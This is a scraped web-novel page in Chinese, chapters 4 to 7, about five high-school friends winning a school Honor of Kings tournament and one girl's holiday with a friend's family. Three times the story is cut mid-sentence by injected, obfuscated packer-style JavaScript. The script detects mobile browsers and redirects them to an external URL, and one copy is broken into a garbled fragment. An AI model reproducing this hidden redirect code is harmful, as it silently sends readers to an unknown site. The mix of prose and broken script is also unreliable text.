李沫是不上自习的,今天也没穿校服,常服上挂着校牌,背了个挎包,包里五个奇形怪状的充电宝。 刘胖哥俩好地挎着他肩膀:“多钱?” “五十,一手交钱一手交货。”李沫坚定不移。 刘胖怪叫:“3C标准吗要我五十!还长这么丑,你别是坐地起价嗷我警告你。” 李校花摩挲着星形充电宝背面某奢侈品牌的浮雕logo,再看刘胖那个不识货的东西还在试图砍价。 她叹了口气,直接问李沫:“你知道这玩意儿……” “是联动盲盒,为了抽个隐藏款,我妈买了二十多个。” 李沫推了推细框眼镜,那股天真清澈的傻气里,竟然有种富家少爷的斯文妥帖。 李校花也不客气了,扫他五十块,说:“好了,快迟到了,走吧。” 叶吟冲李沫一笑,接过他另一只手里的黑色垃圾袋,整个塞进了书包里。 杨星:?你为什么要把垃圾放书包里? 4. 第 4 章 第一届农药争霸赛宣传强度有限,参赛者中,高三生只有一支队伍。她们抽完签,直到开打还有个人没来。 她们讨论的声音传过来——原来那人昨天晚上说要熬夜刷题,现在不接电话,可能是睡过头了。 李校花望着遗憾的四人,又低头看了眼叶吟抽到的轮空签纸,在队友的注视下,光明正大地找了那位学姐队长。 “你们缺什么位置?我的队伍这把轮空,可以帮你们补个位。” 学姐眼睛一亮:“我知道你,你是这一届高一校花,是叫叶吟对吧?” 听了个清楚的叶吟:? 李校花面不改色:“对,我玩打野射手,应该能帮你们应付下第一轮。” 学姐大喜:“哎哟感情好,我们正好缺射手,快来快来。” 第一轮一共二十九支队伍,除了叶吟队轮空,其余队伍三局两胜晋级。 其中,李校花在学姐的队伍里,感受到了带四个李沫打游戏的快乐。 游戏输了,但四个学姐也没什么失望的意思。李校花拿着两次败方mvp道歉:“是我发挥不好。” 学姐队长摆手:“害,没事,不是你的错,是我们太菜了。” 她坦诚地说:“其实我们几个是因为刚高三绷得有点紧。原先的舞蹈比赛被腰斩了,练了五小天鹅结果跳不成,就来打游戏了。” 李校花:“……五小天鹅?” 学姐点头,骄傲地说:“我们高一的时候,艺术节排练做了一点点改编,还拿了奖。” 也想走艺术的李校花心生敬意:“哇,那很厉害了。” 学姐吐槽了几句高三生活,等李校花回来,身上难免沾了些无形的压力。结果她左看右看,发现另外四个人挤成一坨,对着手机看得认真,完全没注意她。 “喂,你们听见了吗?”李校花不满,“学姐说她们高三累到只能用比赛放松了,这是化压力为动力啊,我们得多学习。” 杨星突兀地说:“我觉得就是她们。” 李沫:“可是……” 刘胖肯定地点头:“绝对是。” 叶吟冲着李校花把手机一翻,进度条拉到一开始:“我们在看学姐们高一的艺术节录像。” 李校花戴上耳机,定睛一看,五个穿着小黄鸭泡沫服的人,一脚深一脚浅地走上舞台。 李校花:…… 小天鹅是这个妆造吗? 主持人声情并茂地读稿:“……结合了经典芭蕾曲目四小天鹅,与经典童话故事丑小鸭,她们将带来怎样一场精彩绝伦的表演,让我们掌声欢迎!” 五只小黄鸭看起来嫩得出奇,难度最高的动作就是跳起脚,离开地面三公分,看不出半点天鹅的轻盈,反而大智若愚得要命。 她们手拉手转了几个圈,中气十足地念出台词—— “嘎嘎,嘎嘎!” 嘎声甚至盖过了bgm《天鹅湖》,杨星锐评:“没有技巧,全是感情。” “能忍住不笑也是功力深厚了。”刘胖附和说。 属于高三的沉重励志被学姐超高的艺术素养杀了个对穿,视频看完,李校花松开尴尬的脚趾,深吸一口气,问:“她们这个节目,还拿奖了?” 李沫搜了学校的公众号:“嗯……最逗节目奖。” ——实至名归。 第一轮比赛结束,叶吟上台,抽了第二支签。 “29进15,15进8,我们又轮空了。”叶吟一算,告诉了队友这个好消息。 李校花拿过签纸:“离谱,这你也能发力?” 叶吟搓了搓脸:“不知道啊。已经等半上午了,第二轮又得半上午,我们自己练一下吧。” “行,上次一起玩也是好几天前了,”刘胖摸出手机,问李沫,“听李校花说你请了两天假,咋回事?病了?” 李沫:“嗯……倒是没有。” 他语焉不详,但很快就展示了实力。 “你是不是偷偷进修去了?”李校花看着主动扛塔给队友制造输出空间的牛魔,不可思议地说。 李沫看她一眼,轻描淡写得仿佛什么室外高人:“我妈听说我报了个农药比赛,给我找了四个人集训,啥也不干,就教我玩游戏。” 刘胖目瞪口呆:“等等,什么意思?你请假回家学习打游戏?” 杨星也麻了,不知道该做什么表情。一看叶吟满脸不动声色,他想:她倒是有数。 李沫清了清嗓子,说:“中单练了原来不会的三指,上单打了几十场1v1练习对线,射手补刀手法也已经全面升级,打野,嗯,也一直非常可靠,所以我也得进步呀。” 李校花知道他家有实力,拧着嗓子问:“你妈找的那四个人,是打比赛的选手吗?” 李沫:“不是。” 四人刚松了口气,他又大喘气地补上:“现役的不能干这事儿。一个退役、一个教练、两个主播,诶,你们可能听过他俩名字,abc和DEF。” 刘胖爆了句粗口,抓着他领子狂晃:“a神?我去?你跟没跟他要签名?!” 杨星有些忧郁:“沫哥,你真是……真成沫哥了。” 第三轮,四进二半决赛。 中午吃完饭,叶吟五人终于坐上了比赛席。 半决赛依然是bo3赛制,他们2:0结束了比赛。 高一的五个学弟毫不气馁,你推我一下我推你一下,磨磨唧唧地蹭了过来。最后是打野位出马,期期艾艾地问李校花:“……学姐叫什么?你现在单身吗?我能先排个队吗?” 李校花皱眉,叶吟从善如流地站到二人之间:“她叫叶吟。” 那个打野学弟满脸写着“我记住了”,他认真地对李校花说:“叶吟,你成功引起了我的注意。” 杨星:“……噗。” 他两步上前揽住李校花肩膀:“抱歉,叶吟有男朋友了。” 叶吟:别瞎说不是我我没有。 看戏的刘胖&李沫:无敌。 打野学弟看向高自己半个头的杨星:“……我一定会打败你的!” 这诡异的三角关系任谁看了都得愣一愣,李校花等人走了,把杨星胳膊一推:“行了,别演了。” 杨星举手投降:“过河拆桥。” 李校花不得理也不饶人:“谁让你给自己加戏的,我跟叶吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566730|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应付得了。” 无辜被cue的叶吟叹了口气,一不小心看到李沫的表情。顺着他的视线,她看向了挑着眉、盛气但不凌人李校花,于是心中一跳。 ……可能这就是十七八岁的必经之路吧。 她拍了拍李沫,后者完全没意识到自己也跟那群两块五差不多远了:“李沫,你注意点吧。” 李沫茫然回神:“啊?咋了?” 叶吟神色复杂:“好歹是能请病假打游戏的人物,别这么掉价。” ——两块五! 李沫一脸莫名其妙。 跟学弟打完,最后的决赛对手是一队高二生。 “星哥。”队长跟杨星点了点头。 他们其实是一个班的,但杨星依然跟高一几个人玩得好,所以稍微有些疏远。 “李小花、刘鹏、李沫……” “叶吟。” 队长看向那位走班来的同学,同样礼貌地打了个招呼,没想到对另外四人“刷刷刷”一齐把眼神挪了过来。 队长:? 刘胖:“奇了,杨星,你瞧瞧人家。” 杨星抿了抿嘴角,看向叶吟,后者也是有些意外的模样。 “你好。”她跟队长握了握爪。 队长不知道自己记人名的习惯给他招惹来了什么,只是刚开局,对面的上单就杀气磅礴地冲了过来。 第一把,叶吟五人输了。 五分钟休息复盘,李校花指着杨星:“你上什么头!对面直接一换四,怎么打!” 杨星闷不吭声,刘胖胆战心惊地说:“校花,他状态波动嘛,大家都有的。” 叶吟心说这是真洗不了,杨星这把上头不是一次两次,而是一整局都这样,四个人都没把他拽回来。 “看看李沫,打得多稳!” 李校花有点气不过,压低声音在他旁边说:“你要跟人较劲,别拿大家的奖杯开玩笑。” 叶吟&刘胖&李沫:说什么悄悄话呢,还不让大家听了。 第二把,杨星拿出了刘邦:“我带线,保着射手法师打。” 叶吟:“我火舞一身位移,好跑。你看着那个老黄忠就行。” 刘胖:“我是大核,保我保我。” 李校花冷笑:“你屁股一坐,对面吕布直接跳大,死都不知道怎么死的。” 李沫第五手补了庄周,得到了李校花的点名表扬。 中期小团战,叶吟一闪踢起对面前排坦克,对方射手闪现拉开。她本来准备大招回身,但打野绕后,不知火舞只能继续向前冲锋。 拼着一换一的心,对方射手率先倒下,火舞被动位移走出一塔,丝血苟活,但身上还挂着最后一发防御塔伤害。 叶吟甩了甩手腕等死:“狄仁杰闪现九分三十。” “我在,”杨星说着,一个大招传来,火舞的血条上冒出两格半的白色盾条,“你死不了。” 感动不了半秒,刘胖大叫:“吕布怎么在这!我要死了我要死了刘邦救我!” 火舞抽搐了一下,原地放了个扇子。 中上两人绕蓝区回援,杨星默默点出信号:“大招还有32秒。” 5. 第 5 章 “你大招保护小兵去了吗!”刘胖气得喷火,吃了庄周解控,收起炮架开始拉扯。 他们打了波完美团战,拉开了两千经济差,算是奠定了胜利基础。 龙坑翻盘点,李校花险之又险地拼惩拿下,最后卡着对方团灭复活的时间点,从上路平推,获得胜利。 李校花十分严肃:“决胜局。” 刘胖刚刚点水晶点到手指抽筋,他双眼放空地说:“我第一次离银龙杯这么近。” 杨星打击他:“3D打印的小玩具我们五个一人一个,再单独给你整个七彩塑料的,喜欢吗?” 众所周知,3D打印最爱造龙,杨星真心觉得校方一定会这么干,甚至在起队名的时候都没放过这个梗。 李沫认真脸:“现在去赞助一下还来得及吗?” 叶吟扶额:“我们还没赢呢。” “孩子们,听我说,”李校花拍拍手,“对方配合很好,转线支援都很快,我们下路配合差点火候,他们就特别爱来下路打架。对此我有一计。” 刘胖:“李教练请讲。” “叶吟,薛定谔的存在感,我们都知道,但她的特性在游戏里并不突出,为什么呢?” 李校花眯着眼睛,竟然有点城府深深的感觉:“因为法师位最多在支援方面打一个出其不意,后期跟团明晃晃一个脆皮输出,更没有发挥空间。” “所以,换我单带?”叶吟一点就通,“米莱狄?” “对,我们这把是红方,可以藏一手。前期正常打,后面四一分推。” “行,”叶吟也没想到,透明人光环竟然还能用在这上面,“兰陵王ban掉,大乔ban掉,能打。” 敲定战术,进入bp环节,对面一楼锁定明世隐。 “弱开团手,要前期压爆发育路?李沫玩什么?” 李沫:“米莱狄配刘禅?推塔流玩个爽的。” 刘胖:“那我李元芳。” 叶吟劝:“你们四个打正面拉扯,不一定要走推塔流,别急。” “拉扯的话,那孙膑吧。”李沫锁定孙膑。 杨星锁了花木兰。 李校花:“对面出了白起,有点克你。小明加后羿,刘胖锁虞姬吧。你玩李元芳太莽,打团叠不满飞镖人先蒸发了。” “小明加后羿,确实虞姬抗压一点,”刘胖略微冷静了一点,“对线压力挺大的,而且对面肯定抓我,打野救命啊。” 李校花看完双方阵容,翻了翻打野英雄,锁定了阿古朵。 孙膑阿古朵配合很强,对面会选什么? ——嬴政、赵云。 李校花:“本来机动性一般,现在补足了。” “嬴政清线很快,”叶吟看着倒计时,“但他嬴政熟练度是个绿豆。” 刘胖:“裁判!这里有场外!” 杨星忍不住问:“什么时候看到的?” 叶吟锁定米莱狄,扫了一眼裁判席,那里的人去了洗手间还没回。 她清了清嗓子:“第一轮的时候我去遛达了一圈,bp阶段正好站在他们队后边,他们中单说自己不爱玩男中单,啧,看不起神秘下棋男和神秘纵火男……” 组队麦克风里响起一片咳嗽,叶吟坦然说:“我不讲话他们根本注意不到我。” ——叶吟摸索出的透明人设定第二条:不出声可以有效降低光环破裂的概率。 裁判回来的时候,对局刚刚开始。叶吟上线,往对面蓝坑扔了个机械仆从,照出赵云。对面果然直指发育路。 “刘胖当心点。”她说。 李校花阿古朵同样蓝开,双方刷野路线相反。 高中体育馆,没有导播也没有投屏,只圈出了几片区域,两队分坐。 决胜局裁判一边一个,两人看似沉默不语,实则在手机上疯狂打字交流。 红方裁判:“你觉得谁能赢?” 蓝方裁判:“我讨厌米莱狄,我压蓝方。” 红方裁判:“你当裁判怎么还能英雄歧视?我压红方。” 蓝方裁判:“输的给赢的打一个赛季辅助。” 红方裁判:“……行。” 第一波节奏爆发于赵云出野区。 叶吟:“嬴政miss,虞姬别压。” “赵云肯定在蹲,小概率中左,大概率发育路……露视野了,虞姬别死,虞姬……” 虞姬倒下了。 刘胖双手离开屏幕,往裤子上擦了擦手汗:“四个人越塔,嬴政大招给我残血补了。” 叶吟安慰一局:“没事,下一波。暴君是守不了了,进他蓝?” 花木兰闷声发大财,单杀了白起,杨星说:“可以,校花进,我跟。” 叶吟:“我磨一下塔,顺便站中草。” 红方裁判:“节奏置换,红方没吃亏。” 蓝方裁判:“但后羿拿了人头,现在正肥,他吃两路线,红方后期怎么处理?” 红方裁判:“米莱狄单带吧,正面四打五拉扯好的话,推高地没问题。” 蓝方裁判:“蓝方运营挺稳的,现在除了对抗一塔,也就中一塔四分钟那波掉到残血。” 胶着之中,转机出现。 蓝方裁判:“后羿鸟中了!!!!!” 刘胖被眩晕罚站,还有心吐槽:“我讨厌后羿。” 眼看白起从中右草窜出,大招完bo,刘胖这才慌了:“他怎么在这!” 李沫赶路没用二技能,此刻刚好赶上。赵云大招落地,小明和后羿已经到位开始输出。 阿古朵放出球球稍微一控,本体卡住墙体位置,小野怪稍微阻挡了嬴政大招,但还是有很多落到了己方队友身上。 两方裁判同时想:虞姬能走吗? 孙膑回复加一口治疗直接抬到半血,虞姬点出二技能免疫物理伤害,但后羿电刀发力,嬴政的一技能aoe也没结束,虞姬没扛住,再次倒下。 刘胖:“孩子们,我真活不了。” 花木兰一闪进场,一套打完切重剑边扛边输出,又给显露败势的团战续了一口气。 “回防!回防!嬴政回!二塔掉了!”蓝方的组队麦突然炸起队长的声音。 蓝方裁判也是后知后觉:“对抗一塔掉得早,这波单带完全失察,高地怕是要没。” 蓝方嬴政往下路赶:“还想着打团挺顺利的,原来是四打五。” 蓝方队长:“别打团了,马上十分钟,站好视野拿龙。” 蓝方游走:“对面射手掉了,这波暴君还是稳。” 对抗高地塔下,机械仆从先到一步,叶吟丢出大招,转身就走,跟嬴政打了个照面。 高地塔告破!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566731|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对方抱团赶往上半区,李校花立即喊人往下转:“换龙,我们拿主宰。” 嬴政稳妥地把线带过了河道,眼看往龙坑来,叶吟说:“我去骚扰。” 阿古朵发育不错,四人rua龙比蓝方慢不很多。机械仆从都在龙坑,一个技能全灰的米莱狄在嬴政眼前兜了一圈,后者硬是没敢上。 时间进入后期,局面再次僵持。以孙膑为主的四人抱团,敌进我退、敌退我扰。 “这赵云一边吃野一边盯我,”叶吟无奈,“我1-4了。” 杨星:“肯定是被那个队长提醒了。” 叶吟看了眼经济,双方基本持平:“快刷风暴龙了。” 对面自从对抗路高地塔爆破之后一直很小心,发育路高地还有半血,中路二塔尚在。 “他们肯定要逼团,虞姬小心点。”李校花往龙坑靠,照出了两个人的视野。 “我已经半血了老大,嬴政一直poke我……他们开龙了!” 对面视野没有全露,米莱狄不敢直接偷,如果她被抓,对方回头打龙坑团,我方四打五还缺输出,一定会掉龙掉人。 杨星:“看到了,但摸不着后羿,被小明卡位置。” 李校花声音紧张:“白起在龙坑,赵云也在。” 叶吟当机立断:“我去偷。” 对抗路兵线劣势,但发育路炮车卡在二塔,叶吟藏着视野摸过去,说:“你们拖一下。” 刘胖心惊胆战,风暴龙有制裁效果,他努力边缘ob,但只要对面摸他一下,虞姬就能原地蒸发。 蓝方明确目标:先打人再打龙! “冲我来了!救命!”虞姬想拉开,却再次吃到后羿大招晕眩。白起大出龙坑,孙膑试图再次抬血,结果二人都没顶住敌方的高额爆发。 就在同时,机械仆从和炮车推掉了高地塔,兵线交汇,叶吟也不再藏视野,。 蓝方终于发现不对:“回家!回家!赵云回!” 赵云回城条快要读完,叶吟还没摸上水晶。 来得及! 下一瞬,回城中断,一柄轻剑砸在赵云脸上。 原来是花木兰闪现过来,丢了技能,潇洒转身。 杨星一击得手:“来都来了,都别走了。” 五秒后,蓝方水晶爆炸。蓝方裁判叹了口气,琢磨着下个赛季可以练习一手斩杀瑶妹了。 红方裁判站起:“恭喜我们,额……不要3D打印银龙杯队获胜!” 叶吟发现自己手心全是汗,她甩了甩手,终于放松下来。 刘胖扬眉吐气:“被杀了一整局!我才是扛压之王!银龙杯呢?金雨呢?” 裁判他拿出一个礼花枪,塞到刘胖手里,然后表情变得捉摸不透起来:“我决定,推迟颁发奖杯。嗯……咱们也是申报学校的正经比赛,你们放心吧,过完假期还有升旗仪式颁奖。” 几人关注点略有不同,嘁嘁喳喳地凑在裁判身边。 刘胖:“老师,升旗仪式上表彰我们游戏玩得好?这真行吗?” 杨星:“我就说是3D打印的吧,啧。” 老师顶不住,逃了。 李校花还在自我陶醉:“我的布局太无敌了。” 而叶吟背起书包,清了清嗓子:“一会儿大家从体育馆后门走吧,李沫跟我准备了一点东西。” 6. 第 6 章 刘胖提过一次金雨,被叶吟记在了心里。比赛之前她也没想真能拿第一名,抱着输了也安慰一下大家的想法,让李沫定了两个大礼花筒。 李沫看她一眼,叶吟满脸深藏不露:“你们走前面,出去再说。” 一行人穿过昏暗通道,在见到傍晚阳光的一瞬间,只听“砰”、“砰”两声,金色的纸带从身后冲上半空,如同两大把烟花爆炸,飘飘扬扬地蓬开、落下。 此时恰好没风,金色的雨平等地落到五个人身上,像加身的黄袍,也像缀满边的流苏。比不了正式舞台聚光灯的声势,却有橙红色晚霞充当灯效,描出地上五条影子的形状。 李校花轻轻“哇”了一声,伸手去接,杨星双手插兜仰着头,脸上也有赞叹。 李沫把头上的金纸一摘,仿佛自己未卜先知、心跳就不会加速:“咳,质量还行吧?” 叶吟点头,然后抱着礼花筒笑了。 刘胖激动得“嗷嗷”叫,从裤兜里拿出裁判给的小烟花枪,一把捏爆,“砰”一声冒出些细小彩带。 “我们是冠军!” 杨星推他一把:“这小亮片可难洗了,你离我远点。” 刘胖顶风作案,往他那边猛扇一顿,挨打还吱吱直乐。 李校花想翻白眼,忍了忍,忍不住笑了。 体育馆里没有庆祝,他们的荣耀也没什么观众,只是“青春”与“胜利”这两个词碰到一起,就好像产生了什么化学反应一样,让人下意识觉得天空永远清朗、阳光永远明媚。 “夕阳无限好,只是近黄昏”在此时此景并不适用。 忧郁的诗句勾不动少年愁绪,他们只会想,一夜美梦后,又是朝阳。 * 法定假期跟踩炮仗一样跑得飞快,叶吟父母决定出门旅游。二老如胶似漆,说走就走,没发现落了个孩子。 国庆第三天晚上,杨星和她进了小区就分道扬镳,叶吟扭动家门钥匙,结果门内一片寂静漆黑。 她顿了顿。 聊天软件里也没有父母的消息,站在门口的那几秒里,叶吟感觉自己应该恨他们的。 恨他们管生不管养,恨他们不会问你更喜欢爸爸还是妈妈,因为毋庸置疑,他们更爱彼此。 叶吟的透明光环是从什么时候开始的? 从她记事起。 为什么是那时候呢? 因为叶父叶母连活生生的人都能无视,更不会刻意记录她的成长。记事前的那段时间,几乎没有什么照片或者文字,换句话说,没给叶吟养丢了就不错了。 叶吟掏出手机,带出一片金色的彩纸,感觉就像一场盛宴结束,人都走干净了,留下一地狼籍,不堪入目。 比赛的胜利刚说服她:透明不是坏事。 而眼前的一切都像在嘲笑:但你一直都是不被看到的那个。 她打字问杨星:“你家有饭吗?” 发完消息有点后悔,准备去便利店对付一口算了,结果杨星的语音回得很快:“来来来,我爸带了烧烤,速速。” 几幢楼外就是杨星家,她敲了三声门,没人理会。 叶吟习以为常地继续敲,继续敲……敲到第五轮,杨星妈打开门,一愣,立刻招呼:“叶子呀,来来来,你瞧我这耳朵,刚刚根本没听见,真不好意思。” 叶吟笑了笑,放下刚买的饮料:“没有阿姨,是我敲太轻了。” 杨星在跟杨星爸看球,头也没抬:“她不吃辣,妈,你看着她点。” 杨星妈:“你的客人你自己招呼,别支使我,去去去。” 杨星无奈,过来接了她的书包扔到一边:“咋了,你家又没人?” 叶吟点头,规矩地把校服外套挂起来。 “那两位可真够不靠谱的,”杨星跟她走到餐桌边,“我跟我妈说个数学竞赛拿了第一,这顿烧烤用的是我的奖金。” 叶吟眉毛一挑:“哟,数学竞赛。” 杨星威胁她:“注意口供哈,别露馅了,不然你吃的都吐出来。” 叶吟咬着肉,“嗯”了两声。 饭后收拾桌子,叶吟把签子拢到一起,用纸包住尖头扔到垃圾桶,杨星两手一拍:“太好了,今天有人跟我一起洗碗。” 杨星妈:“走开走开,自己洗去。叶子啊,家里没人吗?别回去了,你睡客房,明天姨带你去逛商场。” 杨星耳朵尖:“妈,她就一套校服呢!” 杨星妈:“穿你的凑合一下呗,叶子个子高,哎,叶子,你别嫌弃他,我给你找新的。” 叶吟:“没事阿姨,我一会儿就回。” 杨星妈:“那可不行,你是小星最好的朋友,那就相当于我半个闺女,看朋友圈你爸妈俩人去S市了,明天就中秋,难道你要自己过?” 叶吟挣扎:“阿姨没事儿,我明天一早就回学校,国庆食堂也有饭,我正好学习去。” 杨星:“诶,妈,不是说你公司发了四张S市迪*尼票吗,要不咱们也去S市呗,带着叶吟一起。” 叶吟:“不用……” 杨星妈:“算你机灵,哎,孩儿爸,看看明天机票。” 杨星爸还想着球赛:“明天就走啊?” 杨星妈翻了个白眼:“你不去拉倒。” 杨星爸立刻说:“那不行,你们缺个付账的。那个谁,叶子身份证号多少?我一起买了。” 叶吟:“不……” 杨星甩着手上的水出来,流畅地报出一串数字。 叶吟:你小子偷我身份证了? 杨星擦干手:“你不想去抓你爸妈?直接堵他们门口,质问他俩为什么把你丢家里,让他俩狠狠愧疚一下。” 叶吟好像有点牙痛地说:“那是你想,不是我。” 杨星玩笑说:“真的吗?一次都没想过吗?” 叶吟没吭声,半晌才小声说:“我想把他俩小金库抄了,然后让他俩满世界找我,再也不会无视我。” 杨星咋舌:“最毒不过妇人心。” 晚上,杨星妈从烘干机里掏出两套衣服:“叶子洗完澡穿这个,机票是下午的,明天上午我们去商场shopping一下。” 叶吟讷讷地说:“谢谢阿姨。” “哎哟,我的小可怜,”杨星妈把她薅近抱了一下,但她整个脸只到叶吟肩膀,“早点睡觉,啊。” 十点半,客厅熄灯,叶吟刚把手机插上充电,门口响起一阵偷鸡摸狗的脚步声。 “你打不打?”刻意压低的声音说。 叶吟打开门,偷鸡摸狗的杨星拿着手机站在黑暗中。 “今天打了一下午,还打?” “打啊,怎么不打,终于可以玩娱乐了,再也不用听李校花的批斗大会了,”杨星说,“赶紧的,那仨人都在。” 叶吟心虚地张望了一下,杨星爸妈的门没什么动静:“打两把就睡,你赶紧回去。” 组队麦里,刘胖咋咋呼呼地问:“杨星不开麦为啥叶吟也不开?你俩不会在一块吧?” 叶吟保持沉默。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566732|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼李校花催他:“你玩什么,我帮抢。” 刘胖:“我是对抗!我要后手!让杨星发育路先出!” 月考成绩发了,杨星确实发挥失常,但此时的李沫已经全面升级,所以原本定下的惩罚也算不上惩罚了。 但他还是想玩对抗。 于是杨星默默地打了一大串句点,然后一楼锁定了百里守约。 李校花:“你要折磨本局除你以外的九个人?” 李沫:“这我拿啥辅助啊,直接让他1v2扛压吧,我跟中路转线。” 杨星打开了麦克风,低声骂:“你给刘胖辅助的时候可不是这样的!” 杨星妈去洗手间,正好听到杨星卧室有动静,敲敲门说:“别玩了,赶紧睡,明天你跟叶吟都得早起,别吵着人家。” 她声音不大不小,正好传进麦里。 杨星闭麦,结结巴巴地说:“我知道了妈,这就睡。” 游戏里刘胖迷惑道:“咋了,你俩真在一块?已经见家长了?” 昏暗夜灯下,不知道谁心跳得有些脱轨。 李校花冷笑一声:“他俩发小,见家长还不正常?” 刘胖一想也是,快乐地说:“他俩都处成兄妹了,不可能有啥的,咱五个人就一起寡着吧,等大学毕业租个五居室,哇塞,太幸福了。” 叶吟幽幽出现,打字说:“我看行。” * 众所周知,打两把的这个“两”是虚指。 第二天一早,两个人哈欠连天地起床吃早餐,杨星妈看看这个,又看看那个,本来准备骂杨星的,结果叶吟也这样,她最后忍住了。 到了商场,杨星妈把他俩当奇迹叶吟和奇迹杨星,一人三套毫不偏心。 两个熬夜的人跟梦游一样,叶吟挣扎着清醒了一点:“等我把钱转你,你还给阿姨。” 杨星瞪着朦胧双眼:“你转给我就成我的了,反正她不会收。” 叶吟:“那我想办法加她个支*宝好友,那玩意转账不用确认。” 杨星摆烂:“你看着整。” 杨星妈相当雷厉风行,线上值机、卡点检票、五点降落,打车去吃饭。她定了个蛋糕,上面写着中秋快乐。 “不吃月饼吗?”杨星爸有高血糖。 杨星妈:“你妈做的五仁月饼卡嗓子,结婚之后年年吃,今年在外地终于不用吃了,我不能吃点喜欢的?” 杨星爸立刻投降:“行行行。” 杨星站边母上大人:“爸,真的,奶奶做的五仁月饼又齁又硬。” 叶吟想:奶奶手作的五仁月饼会是什么味道的? 杨星举着筷子没动,看她食不知味地夹走一块姜,就等她吃着辣了回神。 叶吟面不改色地放下姜。 ——某人目光太烫人了。 * 第二天迪*尼人多到爆炸,叶吟对游乐园没什么兴趣,玩得最开心的是杨星妈,其他三个都是陪玩。 天太热,三高的杨星爸出了一头虚汗,嘴唇发白,面色很差:“我不行了,我去歇着了,你们玩吧。” 杨星妈嘴里说着“让你锻炼你不动弹”,一边点兵点将:“杨星看着你爸去。” 叶吟加了一句:“天太热,小心脱水。” 分开了一会儿,叶吟又发消息:“别喝冰饮料,你也是。喝水一口气不能喝太多。” 杨星看着售货机里20一瓶的冰可乐,转头跟他爸说:“叶子不让喝。” 杨星爸:唉。 7. 第 7 章 叶吟负责拎包和拍照,杨星妈负责玩得开心,等看完花车,两人开始找那爷俩一起撤退回酒店。 “哎呀,本来是想带你们出来玩的,结果一个陪他爹,一个光陪我了。”杨星妈说。 叶吟:“没事的阿姨,应该的。” 杨星妈:“以后如果你爸妈还这样,就来我家,我给你撑腰。怎么当爹当妈的,他俩太过分了。” 叶吟:“没关系的。” 杨星妈摇摇头:“叶子,你这个性子,说好也好,说不好也不好。” 叶吟微愣,低低地“嗯”了一声。 杨星妈:“你是水做的人,可泥人都有三分脾气呀。” 叶吟不知道她是什么意思,只是感受到了情绪,鼻子稍微有点酸。 杨星妈话头一转:“对了,你们学校最近有什么特别简单、没人参加的数学竞赛吗?” 叶吟:……前摇过长! * 晚上,杨星举着朋友圈界面说:“这是你爸妈今晚入住的酒店。我有一个计划。” 叶吟大感不妙:“干什么?” 杨星:“我们去堵门吧。” 叶吟十分抗拒:“真没必要。明天还有别的地方要去,后天咱们就回了。” 杨星很坚定:“我觉得有必要,你听我的。” 叶吟拗不过他,半推半就地打上车,两人就这么拉扯去了目的地。 “我替你抱不平,”杨星认真地说,“他俩出来玩,住五星级酒店,你一个人在家,什么都没有。” “他们会给我生活费,”叶吟说,“其实真没事的。” ——都习惯了。 “不一样,”杨星说,他固执地摇头,说不出更贴切的话,只是重复,“不一样。” 白天刚辉煌完,太阳落山身边一个人都没有,中秋都一个人过,这么大的落差,想想就让人难受。 叶吟不知道自己站在门口,伶仃踌躇的模样有多小心翼翼,就像是流浪淋雨的小狗,看到遮风的屋子和灯也不敢上前。 生在健全家庭里的杨星无师自通了“心疼”这一技能,他想到的唯一办法,就是带着叶吟往前走—— “你要告诉他们,你不想被无视,告诉他们你不高兴、你难过,”杨星说,“你说过吗?” “这有什么好说的,”叶吟很冷静,“我幼儿园就明白了,无用的情绪就是软弱。” 杨星摇头:“虽然其他人经常忽视你,但你自己要看见自己。任何时候,你的情绪、你的想法,都是需要重视的。” “不是因为没有人看,就要把它们轻轻揭过的。” “而且,肯定会有人看到的,比如校花、李沫、刘胖。” 他们坐在出租车后座,叶吟再次问出了那个困扰她很久的问题。 “那你呢?” 杨星心里一跳:“我?” “以前在走廊里遇见,不给你一拳你永远看不见我,”她语气不解,“我们不是朋友吗?” 杨星心中一松,摸了摸鼻子:“哎,那个啊……” 叶吟一眯眼:“你说,我就去。” 杨星只好坦白:“我确实一直都能看见你,100%看见。” 叶吟:? “那你装什么?就想多挨一肘子?” 不可理喻。 杨星眼神闪烁,刚刚语重心长的模样被丢到九霄云外:“等有机会再说,走了走了,你还要壮胆吗?” 两人下车,叶吟深吸一口气,有种被刀架在脖子上的感觉。 她看到门口的便利店,说:“我去买点东西。” 叶父叶母的朋友圈显示,他俩去逛了附近的酒吧一条街,大堂里的两个未成年就只能在沙发上硬等。 “来了来了,”杨星侦察兵一样探出半个脑袋,“他俩牵着手呢,嗯,阿姨还拿着一束玫瑰。” 他回头,小声唱:“他(们)的爱情~与你无关~” 叶吟:“你走调了,大哥。” “快去,”杨星推她一把,“跟他们说明白。” 叶吟一个踉跄,撞到了二老面前。 